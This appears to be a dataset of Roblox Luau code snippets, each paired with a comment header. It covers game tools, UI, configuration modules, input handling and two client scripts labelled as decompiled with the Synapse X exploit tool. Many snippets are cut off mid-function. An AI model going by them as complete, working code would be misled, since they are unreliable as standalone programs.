local Direction = CFrame.new(Handle.Position, MousePos).lookVector
local Gravity = 196.20
local Weight = (Fireball:GetMass() * Gravity)
local Speed = 125
local Velocity = (Direction * Speed)
local BodyVelocity = Create("BodyVelocity"){
Name = "BodyVelocity",
maxForce = Vector3.new(Weight, Weight, Weight),
velocity = Velocity,
Parent = Fireball,
}
Fireball.Velocity = Velocity
Fireball.CFrame = Handle.CFrame
Debris:AddItem(Fireball, 5)
Fireball.Parent = game:GetService("Workspace")
wait(ReloadTime)
Tool.Enabled = true
end
function CheckIfAlive()
return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0) and true) or false)
end
function Equipped()
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChild("Humanoid")
if not CheckIfAlive() then
return
end
ToolEquipped = true
end
function Unequipped()
ToolEquipped = false
end
function InvokeClient(Mode, Value)
local ClientReturn = nil
pcall(function()
ClientReturn = ClientControl:InvokeClient(Player, Mode, Value)
end)
return ClientReturn
end
function OnServerInvoke(player, Mode, Value)
if player ~= Player or not ToolEquipped or not CheckIfAlive() or not Mode or not Value then
return
end
end
ServerControl.OnServerInvoke = OnServerInvoke
Tool.Activated:connect(Activated)
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
----------------
|
local RootPart = char:WaitForChild("HumanoidRootPart")
local RootJoint = RootPart.RootJoint
RootJoint.C0 = CFrame.new()
RootJoint.C1 = CFrame.new()
local Aiming = false
local ZoomDistance = 40
local NV
local L_150_ = {}
local L_153_ = {}
L_153_.cornerPeek = SpringMod.new(0)
L_153_.cornerPeek.d = 0.8
L_153_.cornerPeek.s = 16
L_153_.peekFactor = math.rad(-15)
L_153_.dirPeek = 0
|
--[[ SCRIPT VARIABLES ]]
|
local CHAT_BUBBLE_FONT = Enum.Font.SourceSans
local CHAT_BUBBLE_FONT_SIZE = Enum.FontSize.Size24 -- if you change CHAT_BUBBLE_FONT_SIZE_INT please change this to match
local CHAT_BUBBLE_FONT_SIZE_INT = 24 -- if you change CHAT_BUBBLE_FONT_SIZE please change this to match
local CHAT_BUBBLE_LINE_HEIGHT = CHAT_BUBBLE_FONT_SIZE_INT + 12
local CHAT_BUBBLE_TAIL_HEIGHT = 14
local CHAT_BUBBLE_WIDTH_PADDING = 30
local CHAT_BUBBLE_PADDING = 12
local CHAT_BUBBLE_FADE_SPEED = 1.5
local BILLBOARD_MAX_WIDTH = 400
local BILLBOARD_MAX_HEIGHT = 250 --This limits the number of bubble chats that you see above characters
local ELIPSES = "..."
local MaxChatMessageLength = 128 -- max chat message length, including null terminator and elipses.
local MaxChatMessageLengthExclusive = MaxChatMessageLength - getMessageLength(ELIPSES) - 1
local NEAR_BUBBLE_DISTANCE = 65 --previously 45
local MAX_BUBBLE_DISTANCE = 100 --previously 80
|
-- EasyConfiguration.lua
-- @author Quenty
-- Last Modified February 3rd, 2014
|
local Type = require(script.Parent:WaitForChild("Type"))
local lib = {}
local function Modify(Instance, Values)
-- Modifies an Instance by using a table.
assert(type(Values) == "table", "Values is not a table");
for Index, Value in next, Values do
if type(Index) == "number" then
Value.Parent = Instance
else
Instance[Index] = Value
end
end
return Instance
end
local function Make(ClassType, Properties)
-- Using a syntax hack to create a nice way to Make new items.
return Modify(Instance.new(ClassType), Properties)
end
local AcceptableTypes = { -- Anything in here has a .Value property.
["StringValue"] = true;
["IntValue"] = true;
["NumberValue"] = true;
["BrickColorValue"] = true;
["BoolValue"] = true;
["Color3Value"] = true;
["Vector3Value"] = true;
["IntConstrainedValue"] = true;
}
local function TypeIsAcceptable(TypeName)
return AcceptableTypes[TypeName]
end
lib.TypeIsAcceptable = TypeIsAcceptable;
lib.typeIsAcceptable = TypeIsAcceptable
local function AddSubDataLayer(DataName, Parent)
-- For organization of data. Adds another configuration with the name "DataName", if one can't be found, and then returns it.
local DataContainer = Parent:FindFirstChild(DataName) or Make("Configuration", {
Name = DataName;
Parent = Parent;
Archivable = true;
})
return DataContainer
end
lib.AddSubDataLayer = AddSubDataLayer
lib.addSubDataLayer = AddSubDataLayer
local EasyConfigCache = {}
setmetatable(EasyConfigCache, {__mode = "k"})
local function MakeEasyConfiguration(Configuration)
if EasyConfigCache[Configuration] then
return EasyConfigCache[Configuration]
else
local NewConfiguration = {}
local function Get(ObjectName)
return Configuration:FindFirstChild(ObjectName)
end
setmetatable(NewConfiguration, {
__index = function(_, value)
if not type(value) == "string" then
error("Only Indexing with strings is supported with easyConfiguration", 2)
end
local loweredValue = value:lower()
if loweredValue == "add" or loweredValue == "addvalue" then
--[[
So they can do stuff like... Config.AddValue('IntValue', {
Name = "PizzaEaten"
Value = 0;
})
--]]
return function(valueType, values)
local Object
if values and values.Name and type(values.Name) == "string" then
Object = Get(values.Name)
if Object and Object.ClassName ~= valueType then
print("[EasyConfiguration] - Invalid class '"..Object.ClassName.."' in configuration, being replaced by new data '"..valueType.."'");
Object:Destroy()
Object = nil;
end
else
error("[EasyConfiguration] - No values received in the add method of easy configuration. Please give a table of default properties including the name. ", 2)
end
if not Object then
local newInstance = Instance.new(valueType)
Modify(newInstance, values)
newInstance.Parent = Configuration
end
end
elseif loweredValue == "get" or loweredValue == "getvalue" then
return function(name)
return Get(name)
end
elseif loweredValue == "getcontainer" then
return function(name)
return Get(name)
end
else
local Object = Configuration:FindFirstChild(value)
if Object and AcceptableTypes[Object.ClassName] then
return Object.Value
else
error("[EasyConfiguration] - " .. (Object and "Object '"..value.."' was a "..Type.getType(Object).." value, and not acceptable, so no return was given" or "Could not find Object '"..value.."' in the configuration"), 2)
end
end
end;
__newindex = function(_, value, newValue)
if type(value) == "string" then
local Object = Get(value)
if Object and AcceptableTypes[Object.ClassName] then
Object.Value = newValue;
else
error("[EasyConfiguration] - Value '" .. value .. "' was not accepted, or wasn't in the configuration", 2);
end
else
error("[EasyConfiguration] - Index with a string")
end
end;
})
EasyConfigCache[Configuration] = NewConfiguration
return NewConfiguration;
end
end
lib.Make = MakeEasyConfiguration;
lib.MakeEasyConfiguration = MakeEasyConfiguration;
return lib
|
-- Create class
|
local HandleDragging = {}
HandleDragging.__index = HandleDragging
|
-- ^ Returns a table (group of data) containing all of the stage blocks
|
for i, checkpoint in pairs(checkpoint) do -- Looping through each checkpoint block in that table
-- Any code inside of here will repeat for each checkpoint
checkpoint.TeamColor = game.Team:FindFirstChild(checkpoint.Name).TeamColor
checkpoint.BrickColor = game.Team:FindFirstChild(checkpoint.Name).TeamColor
end
|
-- Decompiled with the Synapse X Luau decompiler.
|
local v1 = require(game.ReplicatedStorage:WaitForChild("Resources"));
while not v1.Loaded do
game:GetService("RunService").Heartbeat:Wait();
end;
local l__Main__1 = v1.GUI.Main;
local u2 = false;
local u3 = {};
local l__Format__4 = v1.Functions.Format;
function Update()
local v2 = v1.StatService.Get();
if not v2 then
return;
end;
for v6, v7 in pairs(v1.Shared.Currency) do
if v6 then
else
break;
end;
local v8 = v2[v6];
local v9 = l__Main__1.Right:FindFirstChild(v6);
if not v9 then
v9 = v1.Assets.UI.Main.Currency:Clone();
v9.Name = v6;
v9.Icon.Image = v7.image;
local l__gradient__10 = v7.gradient;
l__gradient__10:Clone().Parent = v9.Amount;
l__gradient__10:Clone().Parent = v9:FindFirstChild("UIStroke");
v9.LayoutOrder = 99999 - v7.order;
if v6 == "Gems" then
v9.Add.Visible = true;
v1.GFX.Button(v9.Add);
v9.Add.Activated:Connect(function()
if not u2 then
u2 = true;
v1.Signal.Fire("Exlusive Shop Tab", "Gems");
u2 = false;
end;
end);
end;
v9.Parent = l__Main__1.Right;
end;
local v11 = u3[v6] or v8;
if v11 < v8 then
v1.Signal.Fire("Pop Up", v6, ("+%s %s"):format(l__Format__4.Short(v8 - v11), v6));
end;
u3[v6] = v8;
if v9 then
v9.Amount.Text = 1000000 < v8 and l__Format__4.Short(v8) or l__Format__4.Commas(v8);
end;
end;
end;
for v12, v13 in ipairs(l__Main__1.Right:GetChildren()) do
if not v12 then
break;
end;
if v13.ClassName == "Frame" and v13:FindFirstChild("Amount") then
v13:Destroy();
end;
end;
Update();
v1.Signal.Fired("Stat Changed"):Connect(function(p1)
if v1.Shared.Currency[p1] then
Update();
end;
end);
|
--[[
Prevents welds from breaking/transforming when player uses the tool
This recreates the EXACT weld every time
This also prevents lag build up by clearing old welds, the tradition weld script just keeps making new
ones, which can lead to weapons have crazy amounts of welds that dont work (I saw 6000 in a weapon once)
]]
| |
--{{SETTINGS}} : SET ACCORDING TO MODULE'S ORGANIZATION.
|
local RandomOffset, FadeOutTime, FadeInTime, IndicatorLength = Settings.RandomOffset, Settings.FadeOutTime, Settings.FadeInTime, Settings.IndicatorLength
local FadeOutInfo, FadeInInfo = Settings.FadeOutInfo, Settings.FadeInInfo
local Colors, Sizes = Settings.Colors, Settings.Sizes
return function (Victim : Model, Damage : NumberValue, Color : Color3, Size : UDim2, font : Enum.Font)
if Victim then
Color = Color or Color3.new(1)
Size = Size or Sizes.Small
Damage = tostring(Damage) or '0'
font = font or script.Damage.Bill.T1.Font
local DamageIndicator = script:WaitForChild("Damage"):Clone()
DamageIndicator.Bill.Size = Size
DamageIndicator.Parent, DamageIndicator.CFrame, DamageIndicator.Anchored = workspace, Victim:FindFirstChild("HumanoidRootPart").CFrame * CFrame.new(math.random(unpack(RandomOffset)), 0, 0), false
DamageIndicator.Bill.T1.Text = ""..Damage; DamageIndicator.Bill.T1:FindFirstChild("Text").Text = ""..Damage
DamageIndicator.Bill.T1.Font = font
DamageIndicator.Bill.T1:WaitForChild("Text").Font = font
local Tween = TweenService:Create(DamageIndicator.Bill.T1:FindFirstChild("Text"), TweenInfo.new(.5, FadeOutInfo.EasingStyle, FadeOutInfo.EasingDirection), {TextColor3 = Color})
Tween:Play();
Tween:Destroy();
task.delay(IndicatorLength, function()
local Tween = TweenService:Create(DamageIndicator.Bill.T1:FindFirstChild("Text"), TweenInfo.new(1, FadeInInfo.EasingStyle, FadeInInfo.EasingDirection), {TextColor3 = Color3.fromRGB(255,255,255)})
Tween:Play();
Tween:Destroy();
task.delay(1, function()
DamageIndicator:Destroy()
end)
end)
local BodyVelocity = Instance.new("BodyVelocity")
BodyVelocity.P = 10000
BodyVelocity.MaxForce = Vector3.new(0,4e4,0)
BodyVelocity.Velocity = Vector3.new(0,20,0)
BodyVelocity.Parent = DamageIndicator
task.delay(.1, function()
BodyVelocity:Destroy()
end)
end
end
|
-- Add a button to prompt the pruchase of a DevProduct used for donations
|
local function addProduct(productId)
local success, productInfo = pcall(function()
return MarketplaceService:GetProductInfo(productId, Enum.InfoType.Product)
end)
if not success then
warn(`Failed to get info for product {productId}`)
return
end
local icon = productInfo.IconImageAssetId
local price = productInfo.PriceInRobux
local button = instances.ProductButton:Clone()
button.LayoutOrder = price
button.ImageLabel.Image = ASSET_TEMPLATE:format(icon)
button.RobuxLabel.Text = ROBUX_TEMPLATE:format(price)
button.Parent = leaderboardGui.ProductList :: any
button.MouseButton1Click:Connect(function()
MarketplaceService:PromptProductPurchase(player, productId)
end)
end
local function initialize()
-- Parent the leaderboard GUI to playerGui so that buttons inside it can be interacted with
local adornee = leaderboardGui.Parent
leaderboardGui.Parent = playerGui :: any
leaderboardGui.Adornee = adornee
for _, productId in donationProducts do
addProduct(productId)
end
end
initialize()
|
--[[
Boolean Keyboard:IsDown(keyCode)
Boolean Keyboard:AreAllDown(keyCodes...)
Boolean Keyboard:AreAnyDown(keyCodes...)
Keyboard.KeyDown(keyCode)
Keyboard.KeyUp(keyCode)
--]]
|
local Keyboard = {}
local userInput = game:GetService("UserInputService")
function Keyboard:IsDown(keyCode)
return userInput:IsKeyDown(keyCode)
end
function Keyboard:AreAllDown(...)
for _,keyCode in pairs{...} do
if (not userInput:IsKeyDown(keyCode)) then
return false
end
end
return true
end
function Keyboard:AreAnyDown(...)
for _,keyCode in pairs{...} do
if (userInput:IsKeyDown(keyCode)) then
return true
end
end
return false
end
function Keyboard:Start()
end
function Keyboard:Init()
self.KeyDown = self.Shared.Event.new()
self.KeyUp = self.Shared.Event.new()
userInput.InputBegan:Connect(function(input, processed)
if (processed) then return end
if (input.UserInputType == Enum.UserInputType.Keyboard) then
self.KeyDown:Fire(input.KeyCode)
end
end)
userInput.InputEnded:Connect(function(input, processed)
if (processed) then return end
if (input.UserInputType == Enum.UserInputType.Keyboard) then
self.KeyUp:Fire(input.KeyCode)
end
end)
end
return Keyboard
|
--// Hash: 35f867b00ea4ec34de0d47ea57231f2627f6d8eb2eec73edba6e9942300cf40838ab64f3a9b52cb729efa52d211b7cc2
-- Decompiled with the Synapse X Luau decompiler.
|
local v1 = {};
local v2 = game:GetService("ReplicatedStorage").Misc.Eyes:GetChildren();
v1.module_events = require(script.Parent.Parent.Module_Events);
local l__TweenService__1 = game:GetService("TweenService");
function v1.stuff(p1, p2, p3)
local u2 = p3;
spawn(function()
if p1.dead == true then
return;
end;
if not u2 then
u2 = math.random(1, 500);
end;
u2 = Random.new(u2);
p1.camShaker:ShakeOnce(4, 15, 0.4, 1);
p1.camShaker:ShakeOnce(2, 6, 0.6, 1);
p1.camShaker:ShakeOnce(18, 0.5, 5, 20);
p1.camShaker:ShakeOnce(3, 12, 5, 20);
script.Music:Play();
l__TweenService__1:Create(game:GetService("Lighting"), TweenInfo.new(0.5, Enum.EasingStyle.Sine, Enum.EasingDirection.In), {
FogEnd = 0,
FogStart = 0,
FogColor = Color3.new(0, 0.1, 0.1),
Ambient = Color3.new(0, 0.219608, 0.243137)
}):Play();
wait(1);
p1.hideplayers = 1;
game:GetService("Lighting").Ambience_Shade.Enabled = true;
l__TweenService__1:Create(game:GetService("Lighting"), TweenInfo.new(5, Enum.EasingStyle.Exponential, Enum.EasingDirection.Out), {
FogEnd = 60,
FogStart = 15,
FogColor = Color3.new(0, 0, 0)
}):Play();
local l__LocalPlayer__3 = game.Players.LocalPlayer;
local l__Character__4 = l__LocalPlayer__3.Character;
local l__PrimaryPart__5 = l__Character__4.PrimaryPart;
local l__LookVector__6 = p2.RoomStart.CFrame.LookVector;
local v7 = Ray.new(p2.RoomStart.Position + Vector3.new(0, 1, 0), l__LookVector__6);
local l__Jumpscare_Shade__8 = l__LocalPlayer__3.PlayerGui.MainUI.Jumpscare_Shade;
l__Jumpscare_Shade__8.Visible = true;
l__LocalPlayer__3.Character:SetPrimaryPartCFrame(CFrame.new(p2.RoomStart.CFrame.Position + l__LookVector__6 * 10, p2.RoomStart.CFrame.Position + l__LookVector__6 * 20));
wait(0.5);
local v9 = game:GetService("ReplicatedStorage").Entities:WaitForChild("Shade"):Clone();
v9.CFrame = p1.cam.CFrame + Vector3.new(0, 1000, 0);
local u3 = l__LookVector__6;
local u4 = tick() + 4;
task.delay(2, function()
local u5 = nil;
spawn(function()
if u5 then
game:GetService("ReplicatedStorage"):FindFirstChild("Bricks"):FindFirstChild("ShadeResult"):FireServer(u5);
end;
if u3 == l__LookVector__6 then
u4 = tick() + math.random(30, 70) / 10;
script.Sound.Pitch = math.random(100, 130) / 100;
v9.WhisperWeird.Pitch = math.random(50, 70) / 100;
else
u4 = tick() + math.random(20, 40) / 10;
script.Sound.Pitch = math.random(50, 70) / 100;
v9.WhisperWeird.Pitch = math.random(100, 120) / 100;
end;
script.Sound.TimePosition = 0.2;
script.Sound:Play();
u3 = -u3;
local v10 = v7:ClosestPoint(l__LocalPlayer__3.Character.PrimaryPart.Position + Vector3.new(0, 2, 0) + u3 * 45);
if v9.Parent == p1.cam then
v9.BodyPosition.Position = v9.Position + Vector3.new(0, 100, 0);
wait(0.5);
v9.CFrame = CFrame.new(v10 + Vector3.new(0, 50, 0));
else
v9.CFrame = CFrame.new(v10 + Vector3.new(0, 50, 0));
end;
local v11 = 40 / (u4 - tick());
v9.BodyVelocity.Velocity = Vector3.new(0, 0, 0);
v9.BodyPosition.Position = v10;
wait(0.5);
v9.BodyVelocity.Velocity = u3 * -v11;
end);
end);
v9.Parent = p1.cam;
for v12, v13 in pairs(v9:GetChildren()) do
if v13:IsA("Sound") then
v13:Play();
end;
end;
local u6 = false;
local u7 = nil;
u7 = l__LocalPlayer__3:GetAttributeChangedSignal("CurrentRoom"):Connect(function()
u6 = true;
u7:Disconnect();
end);
while true do
task.wait(0.016666666666666666);
local l__Magnitude__14 = (v9.Position - l__PrimaryPart__5.Position).Magnitude;
local l__Magnitude__15 = (l__PrimaryPart__5.Position - p2.RoomEnd.Position).Magnitude;
local l__Magnitude__16 = (l__PrimaryPart__5.Position - p2.RoomEnd.Position).Magnitude;
l__Jumpscare_Shade__8.Static.Position = UDim2.new(math.random(0, 1000) / 1000, 0, math.random(0, 1000) / 1000, 0);
l__Jumpscare_Shade__8.Static.Rotation = 180 * math.random(0, 1);
if math.random(1, 2) == 2 then
local v17 = "rbxassetid://8681113503";
else
v17 = "rbxassetid://8681113666";
end;
l__Jumpscare_Shade__8.Static.Image = v17;
l__Jumpscare_Shade__8.Static.ImageTransparency = 0.6 + l__Magnitude__14 / 80;
l__Jumpscare_Shade__8.Eyes.Visible = false;
l__Jumpscare_Shade__8.Overlay.Visible = false;
if u6 then
break;
end;
if l__Character__4.Humanoid.health < 0.1 then
break;
end;
if l__Magnitude__14 < 30 then
if math.random(1, 55) == 5 then
l__Jumpscare_Shade__8.Overlay.Position = UDim2.new(math.random(0, 1000) / 1000, 0, math.random(0, 1000) / 1000, 0);
l__Jumpscare_Shade__8.Overlay.Visible = true;
else
l__Jumpscare_Shade__8.Overlay.Visible = false;
end;
if math.random(1, 45) == 5 then
l__Jumpscare_Shade__8.Eyes.Position = UDim2.new(math.random(450, 550) / 1000, 0, math.random(450, 550) / 1000, 0);
l__Jumpscare_Shade__8.Eyes.Visible = true;
else
l__Jumpscare_Shade__8.Eyes.Visible = false;
end;
end;
if l__Magnitude__14 < 8 then
v9.CFrame = v9.CFrame + Vector3.new(0, 50, 0);
local u8 = true;
spawn(function()
if u8 then
game:GetService("ReplicatedStorage"):FindFirstChild("Bricks"):FindFirstChild("ShadeResult"):FireServer(u8);
end;
if u3 == l__LookVector__6 then
u4 = tick() + math.random(30, 70) / 10;
script.Sound.Pitch = math.random(100, 130) / 100;
v9.WhisperWeird.Pitch = math.random(50, 70) / 100;
else
u4 = tick() + math.random(20, 40) / 10;
script.Sound.Pitch = math.random(50, 70) / 100;
v9.WhisperWeird.Pitch = math.random(100, 120) / 100;
end;
script.Sound.TimePosition = 0.2;
script.Sound:Play();
u3 = -u3;
local v18 = v7:ClosestPoint(l__LocalPlayer__3.Character.PrimaryPart.Position + Vector3.new(0, 2, 0) + u3 * 45);
if v9.Parent == p1.cam then
v9.BodyPosition.Position = v9.Position + Vector3.new(0, 100, 0);
wait(0.5);
v9.CFrame = CFrame.new(v18 + Vector3.new(0, 50, 0));
else
v9.CFrame = CFrame.new(v18 + Vector3.new(0, 50, 0));
end;
local v19 = 40 / (u4 - tick());
v9.BodyVelocity.Velocity = Vector3.new(0, 0, 0);
v9.BodyPosition.Position = v18;
wait(0.5);
v9.BodyVelocity.Velocity = u3 * -v19;
end);
script.SoundHurt:Play();
u8 = 1;
for u8 = u8, 15 do
task.wait(0.05);
l__Jumpscare_Shade__8.Overlay.Position = UDim2.new(math.random(0, 1000) / 1000, 0, math.random(0, 1000) / 1000, 0);
l__Jumpscare_Shade__8.Overlay.Visible = true;
l__Jumpscare_Shade__8.Static.Position = UDim2.new(math.random(0, 1000) / 1000, 0, math.random(0, 1000) / 1000, 0);
l__Jumpscare_Shade__8.Static.Rotation = 180 * math.random(0, 1);
if math.random(1, 2) == 2 then
local v20 = "rbxassetid://8681113503";
else
v20 = "rbxassetid://8681113666";
end;
l__Jumpscare_Shade__8.Static.Image = v20;
l__Jumpscare_Shade__8.Static.ImageTransparency = math.random(1, 5) / 10;
l__Jumpscare_Shade__8.Eyes.Visible = true;
if math.random(1, 2) == 2 then
l__Jumpscare_Shade__8.Eyes.Position = UDim2.new(math.random(450, 550) / 1000, 0, math.random(450, 550) / 1000, 0);
end;
end;
l__Jumpscare_Shade__8.Eyes.Visible = false;
l__Jumpscare_Shade__8.Overlay.Visible = false;
elseif u4 <= tick() then
local u9 = false;
spawn(function()
if u9 then
game:GetService("ReplicatedStorage"):FindFirstChild("Bricks"):FindFirstChild("ShadeResult"):FireServer(u9);
end;
if u3 == l__LookVector__6 then
u4 = tick() + math.random(30, 70) / 10;
script.Sound.Pitch = math.random(100, 130) / 100;
v9.WhisperWeird.Pitch = math.random(50, 70) / 100;
else
u4 = tick() + math.random(20, 40) / 10;
script.Sound.Pitch = math.random(50, 70) / 100;
v9.WhisperWeird.Pitch = math.random(100, 120) / 100;
end;
script.Sound.TimePosition = 0.2;
script.Sound:Play();
u3 = -u3;
local v21 = v7:ClosestPoint(l__LocalPlayer__3.Character.PrimaryPart.Position + Vector3.new(0, 2, 0) + u3 * 45);
if v9.Parent == p1.cam then
v9.BodyPosition.Position = v9.Position + Vector3.new(0, 100, 0);
wait(0.5);
v9.CFrame = CFrame.new(v21 + Vector3.new(0, 50, 0));
else
v9.CFrame = CFrame.new(v21 + Vector3.new(0, 50, 0));
end;
local v22 = 40 / (u4 - tick());
v9.BodyVelocity.Velocity = Vector3.new(0, 0, 0);
v9.BodyPosition.Position = v21;
wait(0.5);
v9.BodyVelocity.Velocity = u3 * -v22;
end);
u9 = 1;
for u9 = u9, 4 do
task.wait(0.05);
l__Jumpscare_Shade__8.OverlayTurn.Position = UDim2.new(math.random(0, 1000) / 1000, 0, math.random(0, 1000) / 1000, 0);
l__Jumpscare_Shade__8.OverlayTurn.Visible = true;
l__Jumpscare_Shade__8.Static.Position = UDim2.new(math.random(0, 1000) / 1000, 0, math.random(0, 1000) / 1000, 0);
l__Jumpscare_Shade__8.Static.Rotation = 180 * math.random(0, 1);
if math.random(1, 2) == 2 then
local v23 = "rbxassetid://8681113503";
else
v23 = "rbxassetid://8681113666";
end;
l__Jumpscare_Shade__8.Static.Image = v23;
l__Jumpscare_Shade__8.Static.ImageTransparency = 0.4;
if math.random(1, 4) == 2 then
l__Jumpscare_Shade__8.Eyes.Position = UDim2.new(math.random(450, 550) / 1000, 0, math.random(450, 550) / 1000, 0);
l__Jumpscare_Shade__8.Eyes.Visible = true;
else
l__Jumpscare_Shade__8.Eyes.Visible = false;
end;
end;
l__Jumpscare_Shade__8.Eyes.Visible = false;
l__Jumpscare_Shade__8.Overlay.Visible = false;
l__Jumpscare_Shade__8.OverlayTurn.Visible = false;
end;
end;
p1.hideplayers = 0;
script.Music:Stop();
script.Sound.Pitch = math.random(150, 170) / 100;
script.Sound.TimePosition = 0.2;
script.Sound:Play();
for v24 = 1, 2 do
task.wait(0.05);
l__Jumpscare_Shade__8.Overlay.Position = UDim2.new(math.random(0, 1000) / 1000, 0, math.random(0, 1000) / 1000, 0);
l__Jumpscare_Shade__8.Overlay.Visible = true;
l__Jumpscare_Shade__8.Static.Position = UDim2.new(math.random(0, 1000) / 1000, 0, math.random(0, 1000) / 1000, 0);
l__Jumpscare_Shade__8.Static.Rotation = 180 * math.random(0, 1);
if math.random(1, 2) == 2 then
local v25 = "rbxassetid://8681113503";
else
v25 = "rbxassetid://8681113666";
end;
l__Jumpscare_Shade__8.Static.Image = v25;
l__Jumpscare_Shade__8.Static.ImageTransparency = math.random(1, 5) / 10;
l__Jumpscare_Shade__8.Eyes.Visible = true;
l__Jumpscare_Shade__8.Eyes.Position = UDim2.new(math.random(450, 550) / 1000, 0, math.random(450, 550) / 1000, 0);
end;
l__Jumpscare_Shade__8.Eyes.Visible = false;
l__Jumpscare_Shade__8.Overlay.Visible = false;
l__Jumpscare_Shade__8.Visible = false;
v9:Destroy();
l__TweenService__1:Create(game:GetService("Lighting"), TweenInfo.new(5, Enum.EasingStyle.Exponential, Enum.EasingDirection.Out), {
FogEnd = 2000,
FogStart = 50
}):Play();
game:GetService("Lighting").Ambience_Shade.Enabled = false;
end);
end;
return v1;
|
-- RCM Settings V
|
self.WeaponWeight = 4 -- Weapon weight must be enabled in the Config module
self.ShellEjectionMod = true
self.Holster = true
self.HolsterPoint = "Torso"
self.HolsterCFrame = CFrame.new(0.65,0.1,-0.8) * CFrame.Angles(math.rad(-90),math.rad(15),math.rad(75))
self.FlashChance = 4 -- 0 = no muzzle flash, 10 = Always muzzle flash
return self
|
-- ROBLOX deviation: no annotation for "..." args
|
function getLabelPrinter(...): PrintLabel
local strings: Array<string> = { ... }
local maxLength = Array.reduce(strings, function(max, string_)
return math.max(#string_, max)
end, 0)
return function(string_: string): string
-- ROBLOX deviation: We need to throw an error since string.rep called for
-- a negative repetition doesn't actually throw whereas upstream
-- would throw
if #string_ > maxLength then
error("Cannot print label for string with length larger than the max allowed of " .. maxLength)
end
return string.format("%s: %s", string_, string.rep(" ", maxLength - #string_))
end
end
function matcherErrorMessage(
hint: string, -- assertion returned from call to matcherHint
generic: string, -- condition which correct value must fulfill
specific: string? -- incorrect value returned from call to printWithType
): string
if typeof(specific) == "string" then
return string.format("%s\n\n%s: %s%s", hint, BOLD_WEIGHT("Matcher error"), generic, "\n\n" .. specific)
else
return string.format("%s\n\n%s: %s%s", hint, BOLD_WEIGHT("Matcher error"), generic, "")
end
end
|
-- find player's head pos
|
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
local head = vCharacter:findFirstChild("Head")
if head == nil then return end
Tool.Handle.Fire:Play()
local launch = head.Position + 10 * v
local missile = Pellet:clone()
missile.CFrame = CFrame.new(launch,shootDirect)
missile.Position = launch
missile.Velocity = v * 200
local force = Instance.new("BodyForce")
force.force = Vector3.new(0,98,0)
force.Parent = missile
missile.SnowballScript.Disabled = false
missile.Parent = game.Workspace
end
function gunUp()
Tool.GripPos = Vector3.new(0,0,0.8)
end
function gunOut()
Tool.GripPos = Vector3.new(0,0,1)
end
function onEquipped()
Tool.Handle.Fire:Stop()
end
function onUnequipped()
Tool.Handle.Fire:Stop()
end
Tool.Equipped:connect(onEquipped)
Tool.Unequipped:connect(onUnequipped)
enabled = true
function onActivated()
if not enabled then
return
end
enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
local targetPos = humanoid.TargetPoint
local lookAt = (targetPos - character.Head.Position).unit
shootDirect = targetPos
local reload = 0.1
gunUp()
fire(lookAt, shootDirect)
wait(reload)
gunOut()
wait(reload)
enabled = true
end
script.Parent.Activated:connect(onActivated)
|
--[=[
Destroy the keyboard input capturer.
]=]
|
function Keyboard:Destroy()
self._trove:Destroy()
end
return Keyboard
|
--local colors = {Color3.fromRGB(168,100,253), Color3.fromRGB(41,205,255), Color3.fromRGB(120,255,68), Color3.fromRGB(255,113,141), Color3.fromRGB(253,255,106)};
-- Module.
|
local _Confetti = {}; _Confetti.__index = _Confetti;
|
-- Make indexing nil enums error
|
getmetatable( Enums ).__index = function( self, index )
error( string.format("%s is not a valid member of %s", index, script:GetFullName()) )
end
|
-- Function to play an audio asset
|
AudioPlayer.playAudio = function(assetName)
local audio = SoundService:FindFirstChild(assetName)
if not audio then
warn("Could not find audio asset: " .. assetName)
return
end
if not audio.IsLoaded then
audio.Loaded:Wait()
end
-- Setup a tween so the track starts quiet and then fades in to a normal volume
audio.Volume = 0
audio.Looped = true
local fadeTween = TweenService:Create(audio, TweenInfo.new(10), {Volume = .5})
audio:Play()
-- Fade in the audio track
fadeTween:Play()
fadeTween.Completed:Connect(function(State)
if State == Enum.PlaybackState.Completed then
fadeTween:Destroy()
end
end)
end
return AudioPlayer
|
-- Gathers up all the scripts in the DevModule. We use the resulting array to
-- enable all scripts in one step.
|
local function getDevModuleScripts(devModule: Instance): { BaseScript }
local scripts = {}
for _, descendant in ipairs(devModule:GetDescendants()) do
if descendant.Parent == devModule then
continue
end
if descendant:IsA("Script") or descendant:IsA("LocalScript") then
table.insert(scripts, descendant)
end
end
return scripts
end
|
--- SonOfSevenless
|
local COOLDOWN = 0
local MP = 0
bin = script.Parent
function TryToCast(player)
-- returns true if player may cast this spell
-- make sure this player has the wizard board stats
local stats = player:findFirstChild("leaderstats")
if stats == nil then return false end
local mana = stats:findFirstChild("Mana")
local level = stats:findFirstChild("Level")
if mana == nil or level == nil then return false end
if (mana.Value >= MP) then
mana.Value = mana.Value - MP
return true
end
return false
end
function teleportPlayer(pos)
local player = game.Players.LocalPlayer
if player == nil or player.Character == nil then return end
local char = player.Character.HumanoidRootPart
sound = Instance.new("Sound")
sound.SoundId = ""
sound.Parent = char
sound.PlayOnRemove = true
sound:remove()
char.CFrame = CFrame.new(Vector3.new(pos.x, pos.y + 7, pos.z))
sound = Instance.new("Sound")
sound.SoundId = ""
sound.Parent = char
sound.PlayOnRemove = true
sound:remove()
end
enabled = true
function onButton1Down(mouse)
if not enabled then
return
end
local player = game.Players.LocalPlayer
if player == nil then return end
--if TryToCast(player) == false then return end
enabled = false
mouse.Icon = "rbxasset://textures\\ArrowFarCursor.png"
-- find the best cf
local cf = mouse.Hit
local v = cf.lookVector
teleportPlayer(cf.p)
wait(COOLDOWN)
mouse.Icon = "rbxasset://textures\\ArrowCursor.png"
enabled = true
end
function onSelected(mouse)
mouse.Icon = "rbxasset://textures\\ArrowCursor.png"
mouse.Button1Down:connect(function() onButton1Down(mouse) end)
end
bin.Selected:connect(onSelected)
|
--------------------------------------------------------------------------
|
local _WHEELTUNE = {
--[[
SS6 Presets
[Eco]
WearSpeed = 1,
TargetFriction = .7,
MinFriction = .1,
[Road]
WearSpeed = 2,
TargetFriction = .7,
MinFriction = .1,
[Sport]
WearSpeed = 3,
TargetFriction = .79,
MinFriction = .1, ]]
TireWearOn = true ,
--Friction and Wear
FWearSpeed = 0.50 ,
FTargetFriction = .79 ,
FMinFriction = .1 ,
